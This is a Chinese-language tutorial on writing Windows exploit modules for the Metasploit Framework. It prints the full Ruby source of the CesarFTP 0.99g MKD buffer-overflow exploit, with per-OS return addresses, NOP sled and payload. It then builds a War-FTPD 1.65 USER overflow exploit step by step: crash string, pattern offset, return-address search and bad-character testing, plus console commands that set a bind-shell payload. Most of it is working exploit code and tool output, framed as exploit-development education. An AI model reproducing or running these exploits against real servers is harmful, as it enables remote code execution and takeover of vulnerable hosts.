Metasploit/編寫Windows漏洞利用
為Metasploit框架編寫Windows漏洞利用
此頁面說明如何為Metasploit Framework v3.x編寫Windows漏洞利用。
此頁面不解釋如何查詢漏洞。(為此,請參閱模糊測試)
Metasploit Framework有助於輕鬆快速地編寫可靠的漏洞利用。
Metasploit Framework使用Ruby語言。
技術技能
- 關於使用Metasploit Framework的一些技能。
- 一些程式設計技能(Ruby技能有用,但並非完全必要)
- 對Windows記憶體管理的一些瞭解(堆疊、堆、暫存器)
材料
- 已安裝並執行的Metasploit Framework
- Windows平臺
- 偵錯程式[1]
- 文字編輯器
在Metasploit Framework中,漏洞利用被稱為“漏洞利用模組”。
漏洞利用模組預設位於
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\
(如果在上面的路徑中找不到,請檢查C:\Documents and Settings\<您的使用者名稱>\Application Data\msf3\modules\exploits)
漏洞利用模組按平臺(作業系統)分類,然後按型別(協議)分類。
瞭解漏洞利用模組編寫方式的良好方法是先編輯一個。
我們編輯這個模組
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\cesarftp_mkd.rb
#作者的註釋用紅色標記。
## # $Id: cesarftp_mkd.rb 4419 2007-02-18 00:10:39Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://Metasploit.com/projects/Framework/ ## #Comment lines start with a # (they won't be executed)
require 'msf/core' #We will always need the core library
module Msf #This line should always be present
class Exploits::Windows::Ftp::Cesarftp_Mkd < Msf::Exploit::Remote #The name of the class (Exploits::Windows::Ftp::Cesarftp_Mkd) specifies where the exploit module #is physically located (*\exploits\windows\ftp\cesarftp_mkd.rb). The filename of the exploit #module (cesarftp_mkd.rb) should be the same as the name of the class (Cesarftp_Mkd)
include Exploit::Remote::Ftp #We use MSF's built-in Ftp functions def initialize(info = {}) super(update_info(info, 'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow', #An understandable, detailed name (displayed in the console) 'Description' => %q{ This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g. #The description of the module/vulnerability }, 'Author' => 'MC', #The (nick)name of the author of this module 'License' => MSF_LICENSE, #Type of license 'Version' => '$Revision: 4419 $', #Version number of the module 'References' => #Various 'URLs' about the vulnerability [ [ 'BID', '18586'], [ 'CVE', '2006–2961'], [ 'URL', 'http://secunia.com/advisories/20574/' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 250, #Maximum space available in memory to store the shellcode (payload) 'BadChars' => "\x00\x20\x0a\x0d", #List of the forbidden characters 'StackAdjustment' => -3500, }, 'Platform' => 'win', #Type of the target's platform 'Targets' => #List of the targets and return addresses [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ], [ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], [ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ], ], 'DisclosureDate' => 'Jun 12 2006', #Vulnerability disclosure date 'DefaultTarget' => 0 #Default target used if not specified by the user (in this case: Windows 2000 Pro SP4 English) ) ) end
def check #Function used to check if a target is vulnerable
connect
disconnect
if (banner =~ /CesarFTP 0\.99g/) #We test the banner returned by the server return Exploit::CheckCode::Vulnerable #The server is vulnerable end return Exploit::CheckCode::Safe #The server is NOT vulnerable end
def exploit #We defines our exploit connect_login #We use the Ftp login function
sploit = "\n" * 671 + Rex::Text.rand_text_english(3, payload_badchars) #Padding sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded #Return address (little endian converted) + nop sled + payload
print_status("Trying target #{target.name}...")
send_cmd( ['MKD', sploit] , false) #We send our exploit code to the target
handler
disconnect #We close the connection
end
end
end
為了瞭解如何為Metasploit Framework編寫漏洞利用模組,我們將為WarFTPD版本1.5[2]中易於利用的漏洞編寫一個漏洞利用。
(注意,此漏洞的漏洞利用模組已存在於Metasploit Framework中,但我們正在嘗試構建自己的漏洞利用。)
我們在本地Windows機器上下載並安裝WarFTPD。
我們啟動WarFTPD守護程序。
我們取消選中“不允許匿名登入”複選框。
我們啟動FTP伺服器(點選“上線/離線”按鈕)
好的,伺服器現在正在等待我們…
首先要做的是查詢有關所討論漏洞的資訊。有很多可能的來源。
以下是一個示例
http://osvdb.org/displayvuln.php?osvdb_id=875&print
我們現在看到該錯誤可以透過在USER命令中傳送特製請求來觸發。
通常,一個非常長的字串會觸發這種錯誤,但讓我們驗證一下。
我們首先重現漏洞。
為此,我們直接使用Metasploit Framework。
我們建立檔案
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\warftpd.rb
我們開啟此檔案並在其中寫入(複製/貼上)以下程式碼
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://Metasploit.com/projects/Framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking #The names of the exploit module and the class are 'equal' include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'War-FTPD 1.65 Username Overflow', 'Description' => %q{ This module exploits a buffer overflow found in the USER command of War-FTPD 1.65. }, #End of Description 'Author' => 'Your Name', #Change this value with your (nick)name 'License' => MSF_LICENSE, 'Version' => '$Revision: 1 $', 'References' => [ [ 'URL', 'http://osvdb.org/displayvuln.php?osvdb_id=875&print' ] #The URL mentioned above ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 1000, #We actually don't know the correct value for this 'BadChars' => "\x00" #We actually don't know the correct value for this }, 'Targets' => [ # Target 0 [ 'Our Windows Target', #Replace this with your Windows target platform (ie: Windows 2000 SP4) { 'Platform' => 'win', #We exploit a Windows target 'Ret' => 0x01020304 #We actually don't know the correct value for this } ] ] ) #End of update_info() ) #End of super() end #End of initialize def exploit connect print_status("Trying target #{target.name}...") exploit = 'A' * 1000 #We first try to trigger the bug by sending a long string of 1000 "A" send_cmd( ['USER', exploit] , false ) #We send our evil string handler disconnect #We disconnect from the server end #End of exploit end #End of class
WarFTPD伺服器正在執行(監聽預設埠21/tcp)。
我們現在啟動Metasploit Framework的控制檯。
(開始 / 程式 / Metasploit3 / MSFConsole)
我們現在可以使用此命令檢視我們的漏洞利用
show exploits
我們現在使用這些命令啟動我們的漏洞利用
use windows/ftp/warftpd
set RHOST 127.0.0.1
set TARGET 0
set PAYLOAD generic/shell_bind_tcp
exploit
幾秒鐘後,我們看到WarFTPD守護程序FTP伺服器消失(崩潰)。
我們已成功重現了錯誤。
要檢視伺服器崩潰時發生了什麼,我們使用偵錯程式。
我們再次啟動WarFTPD守護程序,並將我們的偵錯程式附加到它。
=> 在OllyDbg中,我們使用“檔案/附加”,選擇WarFTPD程序,單擊“確定”,並在載入完成後,我們按F9鍵使其執行。
我們再次啟動我們的漏洞利用。
我們現在可以檢視我們的偵錯程式。
我們看到觸發了訪問衝突。
EIP被我們的惡意字串覆蓋(41414141是AAAA的十六進位制等效值)
我們必須找到shellcode(有效負載)的可用空間。
Metasploit Framework包含一些工具來幫助我們。
首先,我們關閉偵錯程式。
我們使用pattern_create()函式生成一個不重複的字母數字文字字串。我們透過呼叫以下指令碼來使用此函式:C:\Program Files\Metasploit\Framework3\msf3\tools\pattern_create.rb
從DOS命令列控制檯,它給出
C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_create.rb Usage: pattern_create.rb length [set a] [set b] [set c]
我們生成一個1000個字元的字串,並在我們的漏洞利用中使用它來再次觸發錯誤
C:\Program Files\Metasploit\Framework3\framework\tools>ruby pattern_create.rb 1000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac 6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3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Bc7Bc8Bc9Bd0Bd1Bd2B d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9 Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh'
然後,我們儲存修改後的PoC程式碼。我們啟動War-FTPD FTP伺服器。我們執行偵錯程式並將其附加到War-FTPD程序。我們啟動我們的漏洞利用…
好的,我們現在可以在偵錯程式中看到這一點
我們看到EIP現在被值“32714131”覆蓋。
然後我們使用patternOffset來了解在命中EIP之前要傳送的字元數。為此,我們使用以下指令碼:C:\Program Files\Metasploit\Framework3\framework\tools\pattern_offset.rb
從DOS命令列控制檯,它給出
C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_offset.rb Usage: pattern_offset.rb <search item> <length of buffer> Default length of buffer if none is inserted: 8192 This buffer is generated by pattern_create() in the Rex library automatically
所以,我們現在像這樣提供之前找到的引數
C:\Program Files\Metasploit\Framework3\msf3\tools>ruby pattern_offset.rb 32714131 1000
結果“485”顯示出來。這意味著我們應該有485位元組的空間來儲存我們的有效負載。
我們在PoC程式碼中新增此值:我們修改這行程式碼
'Space' => 1000, #We actually don't know the correct value for this
for
'Space' => 485,
這樣,當我們將我們的漏洞利用載入到Metasploit Framework中(使用“use”命令)時,它將自動搜尋並顯示大小小於485(使用“show PAYLOADS”命令)的可用有效負載。
我們現在必須找到一個可靠的返回地址。
最好的方法是從我們的目標中直接獲取返回地址。(在易受攻擊的可執行檔案中本身或它使用的其中一個DLL中)
它避免了Windows和Service Pack、語言環境、熱修復程式等各種版本出現問題…
這將使我們的漏洞利用成為通用的。
但這並不總是那麼容易。
一種方法是使用OllyDbg的記憶體搜尋功能。
而且,Metasploit Framework再次包含一些工具來幫助我們。
我們可以使用“msfpescan”來搜尋操作碼的返回地址
$ ./framework/msfpescan
Usage: ./framework/msfpescan [mode] <options> [targets]
Modes:
-j, --jump [regA,regB,regC] Search for jump equivalent instructions
-p, --poppopret Search for pop+pop+ret combinations
-r, --regex [regex] Search for regex match
-a, --analyze-address [address] Display the code at the specified address
-b, --analyze-offset [offset] Display the code at the specified offset
-f, --fingerprint Attempt to identify the packer/compiler
Options:
-M, --memdump The targets are memdump.exe directories
-A, --after [bytes] Number of bytes to show after match (-a/-b)
-B, --before [bytes] Number of bytes to show before match (-a/-b
)
-I, --image-base [address] Specify an alternate ImageBase
-h, --help Show this message
我們也可以使用MSF操作碼資料庫
http://metasploit.com/users/opcode/msfopcode.cgi
注意,Metasploit Framework包含一個內建客戶端來使用此資料庫
http://www.metasploit.com/projects/Framework/msf3/msfopcode.html
我們還可以使用另一個名為 eerep 的好工具,它來自 eEye
http://research.eeye.com/html/tools/RT20060801-2.html
我們也可以在這裡找到一些國際返回地址
https://www.securinfos.info/international-opcodes/index.php
現在我們需要找到並阻止壞字元。
我們不應該在我們的 shellcode 中包含終止的空字元,因為它會中斷執行。
我們已經在我們的漏洞利用中用這個做到了:'BadChars' => "\x00"
此外,目標應用程式通常會在應用程式處理資料之前修改收到的資料。
例如,一個應用程式會將所有字元更改為大寫。
由於這會修改我們的 shellcode,因此我們必須處理它。
為此,Metasploit 框架將對我們的 shellcode 進行編碼,以獲得一個沒有任何指定壞字元的 shellcode。
我們只需要在我們的漏洞利用程式碼中指定壞字元列表。
因此,為了找到壞字元,我們將傳送一個包含 ASCII 表中所有字元的字串,包括可列印字元和不可列印字元。
該字串將如下所示
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d
\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c
\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b
\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a
\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9
\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8
\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7
\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
@ 我們編輯我們的漏洞利用程式碼,並將上面的字串放入其中。
然後,讓我們的目標應用程式執行,並將我們的偵錯程式附加到其程序;我們重新啟動我們的漏洞利用。
在偵錯程式下,訪問衝突觸發後,右鍵單擊 esp 暫存器,選擇“在轉儲中跟隨”選項。
現在我們將看到我們的字串,並檢查字串末尾缺少或修改的字元。
這是我們的第一個壞字元。(記下來)
我們從我們的漏洞利用程式碼中刪除它,然後再次執行 @...
直到我們在偵錯程式中看到所有傳送的字元。
現在,在漏洞利用的壞字元部分,我們編寫作為壞字元找到的字元(被應用程式刪除或修改)。
[1] 免費 Windows 偵錯程式
http://www.ollydbg.de/
http://www.microsoft.com/whdc/devtools/debugging/default.mspx
[2] WarFTPD v1.5 下載連結 https://www.securinfos.info/old_softwares_vulnerable/WarFTP165_vulnerable_USER_BufferOverflow.exe
http://www.milw0rm.com/papers/142
Metasploit 框架 v3.0 開發人員文件
http://Metasploit.com/projects/Framework/msf3/
漏洞利用模組教程
http://Metasploit.com/projects/Framework/documentation.html#exploitTutorial
Vinnie Liu - 編寫漏洞利用 III
http://www.syngress.com/book_catalog/327_SSPC/sample.pdf
http://www.securityforest.com/wiki/index.php/Category:Buffer_Overflows_Education
https://www.securinfos.info/english/security-papers-hacking-whitepapers.php
https://www.securinfos.info/VNSECON2007/VNSECON07-JA-Exploit_development.pdf
開發我的第一個漏洞利用 - 由 MaXe(感謝 Jerome Athias)
影片指南:http://guides.intern0t.net/msf2.php
